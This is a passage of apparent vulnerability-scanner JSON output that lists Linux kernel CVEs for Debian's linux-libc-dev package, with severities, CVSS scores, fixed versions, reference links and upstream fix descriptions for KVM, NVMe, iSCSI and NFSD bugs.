"sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89932", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc70b21d6445fb9975f051c0be9e83b19c8407dd8dc2f8b6c8ab17a6b0488a68", "Title": "kernel: KVM: nVMX: Always flush vpid02 on first use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nVMX: Always flush vpid02 on first use\n\nMake sure vpid02 is always flushed on first use by setting last_vpid=0\nwhen allocating vpid02. nested_vmx_transition_tlb_flush() will always\ndetect a VPID change on first VM-Enter after VMXON, because VPID=0 in\nvmcs12 is not allowed if L1 enables VPID.\n\nThis avoids using stale TLB entries from a previous lifetime of the\nVPID, that might have been associated with a different vCPU (or a\ncompletely different VM).\n\nNote that last_vpid is already being initialized as 0 when the vCPU is\ncreated, but it is not reset when vpid02 is freed on VMXOFF. Hence, the\nproblem can only occur if L1 does VMXOFF -\u003e VMXON, runs an L2, and KVM\nhappens to reuse a VPID that has TLB entries on the physical CPU.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-89932", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/linus/f0772389413dce9657c7d6950abf3edbbd511356%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89932.mbox", "https://git.kernel.org/stable/c/121991d150735f3c0f7401678ce4d35c5b4ac898", "https://git.kernel.org/stable/c/22dfcc22c95e91295119a1c3b469816ce44c4804", "https://git.kernel.org/stable/c/26de0d2d9a8d14c03e5ebb25fd68b5bfcd5ac366", "https://git.kernel.org/stable/c/62604376c313178811375f40a282fc2a46cd2311", "https://git.kernel.org/stable/c/8b98d662ab24f34710a56e03bc9169e4a5508606", "https://git.kernel.org/stable/c/8bc609999ec223089fec8d74c7de27d689606b36", "https://git.kernel.org/stable/c/f0772389413dce9657c7d6950abf3edbbd511356", "https://linux.oracle.com/cve/CVE-2026-89932.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89932", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89932" ], "PublishedDate": "2026-09-16T11:17:02.543Z", "LastModifiedDate": "2026-10-19T09:18:38.93Z" }, { "VulnerabilityID": "CVE-2026-89970", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89970", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6dcc7b96519f083a1620d81685c2ee9d8987f46ca681f8d4d87b0c6b66e501fd", "Title": "kernel: nvmet-auth: Synchronize timeout work during SQ teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: Synchronize timeout work during SQ teardown\n\nnvmet_auth_sq_free() cancels auth_expired_work with\ncancel_delayed_work(). If the work has already started, cancellation does\nnot wait for the callback. Transport teardown can consequently free or\nreuse the queue containing struct nvmet_sq while\nnvmet_auth_expired_work() still accesses that SQ.\n\nAdd a teardown-specific helper that synchronously drains the delayed work\nbefore freeing authentication state, and use it from nvmet_sq_destroy().\nKeep the non-synchronous helper for in-band authentication state cleanup,\nwhere the SQ owner remains alive.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89970", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/eaa948c0e19b1bb2d93262207bca0c3d19cc3406%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89970.mbox", "https://git.kernel.org/stable/c/664022fa1c93f4eba09ef5ee02411b9709dd7a93", "https://git.kernel.org/stable/c/7555ddd60af72df2862dd8f9b730a9848577edda", "https://git.kernel.org/stable/c/c17c87bde6d6f5252a6a6f0a94b2430164aa28d5", "https://git.kernel.org/stable/c/c3c126a6142a1335bc8c34a5607c39cf01daf295", "https://git.kernel.org/stable/c/eaa948c0e19b1bb2d93262207bca0c3d19cc3406", "https://git.kernel.org/stable/c/eb4f9127a2b8a152743f1ee597627e2f69cb54fe", "https://linux.oracle.com/cve/CVE-2026-89970.html", "https://linux.oracle.com/errata/ELSA-2026-81552.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89970", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89970" ], "PublishedDate": "2026-09-16T11:17:07.66Z", "LastModifiedDate": "2026-10-19T09:18:43.587Z" }, { "VulnerabilityID": "CVE-2026-89972", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89972", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:469226c86aaa082fe2bba82ad864be1cc4582e7a982add1c55ec11dd0c6d2ab8", "Title": "kernel: nvme: add missing SRCU grace period in error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme: add missing SRCU grace period in error path\n\nnvme_alloc_ns() error path at out_unlink_ns removes ns from the\nnamespace head siblings list with list_del_rcu(\u0026ns-\u003esiblings) but\ndoes not wait for SRCU readers before freeing the namespace struct.\nMultipath code iterates the head-\u003elist under srcu_read_lock() in\nnvme_find_path() and nvme_mpath_revalidate_paths(), so a concurrent\nreader can still hold a reference to ns when kfree(ns) runs.\n\nThe normal removal path in nvme_ns_remove() correctly calls\nsynchronize_srcu(\u0026ns-\u003ehead-\u003esrcu) after list_del_rcu() to wait for\nin-progress readers. Add the same grace period in the error path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89972", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/ef248d5de4469fb6bbaf8dbe0c4c47800080d648%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89972.mbox", "https://git.kernel.org/stable/c/037e71058e8a59568db72015d4386f54e54dff77", "https://git.kernel.org/stable/c/0d4735418512ef825176726eaaa8bd6a35f6b46d", "https://git.kernel.org/stable/c/3868476cd39161f18720582df17a1b621e805b5d", "https://git.kernel.org/stable/c/76023560d60f10b4f808941163aa2975f1631683", "https://git.kernel.org/stable/c/7f180cef9f3421ece85c43bfdc326ce5875845bb", "https://git.kernel.org/stable/c/d663944dbad81bb0e3635d7090db4713e6300858", "https://git.kernel.org/stable/c/da710ec2a70a85de73afd4f7869b234fd9ede49e", "https://git.kernel.org/stable/c/ef248d5de4469fb6bbaf8dbe0c4c47800080d648", "https://linux.oracle.com/cve/CVE-2026-89972.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89972", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89972" ], "PublishedDate": "2026-09-16T11:17:07.953Z", "LastModifiedDate": "2026-10-30T13:20:37.4Z" }, { "VulnerabilityID": "CVE-2026-90011", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90011", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:43366659ca8d386cce98927b8d95ff88f0ce18fa0d6d1c5e272a0606992a4209", "Title": "kernel: scsi: target: iscsi: Reserve a terminator byte for the login payload", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Reserve a terminator byte for the login payload\n\niscsi_target_check_login_request() rejects a login PDU whose\nDataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is '\u003e' and\nlogin-\u003ereq_buf is allocated with exactly MAX_KEY_VALUE_PAIRS\nbytes. Since iscsit_get_login_rx() receives payload_length + padding\nbytes, where\n\n\tpadding = ((-payload_length) \u0026 3);\n\nany payload_length from 8189 to 8192 fills the whole 8192 byte\nbuffer. The write stays in bounds, but no byte is left for a NUL\nterminator.\n\nThe buffer is subsequently consumed as a C string. In the CHAP path\nchap_check_algorithm() calls kstrdup(a_str), and extract_param() calls\nstrstr(in_buf, pattern) followed by strlen_semi(), none of which take a\nlength. convert_null_to_semi() additionally rewrites every embedded NUL\nto ';', so even a payload made of well formed NUL separated key=value\nrecords is left without a terminator. These walk past the end of the\nobject into adjacent slab memory. It is reachable by an unauthenticated\ninitiator against a portal configured for CHAP; when authentication is\nnot required iscsi_login_zero_tsih_s2() rewrites AuthMethod to None and\nthe CHAP path is never entered.\n\nAllocate one extra byte. kzalloc() zeroes it and nothing ever writes to\nit, as every writer copies to offset 0 for at most MAX_KEY_VALUE_PAIRS\nbytes, so the buffer is always terminated.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92209", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-90011", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2535227", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-92209.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/f4825922d2fb371e2b969697d792077f1b62b62c%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90011.mbox", "https://git.kernel.org/stable/c/1624bff4c5118ad494d50ad94d44f22064667a7f", "https://git.kernel.org/stable/c/3ddf3ea291a0ef2ea93b82e158960ac2cc42302b", "https://git.kernel.org/stable/c/5fac79f248c37774d1dd761406f83d25ca6ff8e4", "https://git.kernel.org/stable/c/6b589ef9d5f6cdc70d2b4f269ca6cf26b5ebb076", "https://git.kernel.org/stable/c/6ddddcad436d8e6e619204d3c848147ff2f5bf1e", "https://git.kernel.org/stable/c/b19dc17ed963ac36c0db4b52a1803fb11169f91f", "https://git.kernel.org/stable/c/eb9dadf4d552ebe10644871c5189286552aa48f5", "https://git.kernel.org/stable/c/f4825922d2fb371e2b969697d792077f1b62b62c", "https://linux.oracle.com/cve/CVE-2026-90011.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90011", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90011" ], "PublishedDate": "2026-09-16T11:17:13.76Z", "LastModifiedDate": "2026-10-19T09:18:48.927Z" }, { "VulnerabilityID": "CVE-2026-90036", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90036", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9801ab74b972c28e464bc8012046bf5ca2ed0c563f807bed27f82c060553d1bb", "Title": "kernel: NFSD: Prevent client use-after-free during blocked-lock reaping", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during blocked-lock reaping\n\nA bare lock owner -- its only remaining reference a blocked lock on\nnn-\u003eblocked_locks_lru -- holds a raw pointer to its nfs4_client but\nno reference keeping the client alive. When the per-net laundromat\nreaps such a lock, freeing the nbl drops the owner reference\nheld through flc_owner, and the final nfs4_put_stateowner()\ntakes the client's cl_lock. Because the laundromat detaches the\nnbl first, __destroy_client() no longer finds it, so a concurrent\nforce_expire_client() can free the client before nfs4_put_stateowner()\nruns, dereferencing cl_lock in freed memory.\n\nPin the client with cl_rpc_users before dropping\nnn-\u003eblocked_locks_lock, and skip clients already expiring, whose\nblocked locks __destroy_client() frees while holding an owner\nreference. Take nn-\u003eclient_lock outside nn-\u003eblocked_locks_lock.\nEvery other site holds nn-\u003eblocked_locks_lock as a leaf, acquiring\nno further lock, so placing nn-\u003eclient_lock outside it cannot form\na lock-order cycle.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-90036", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", 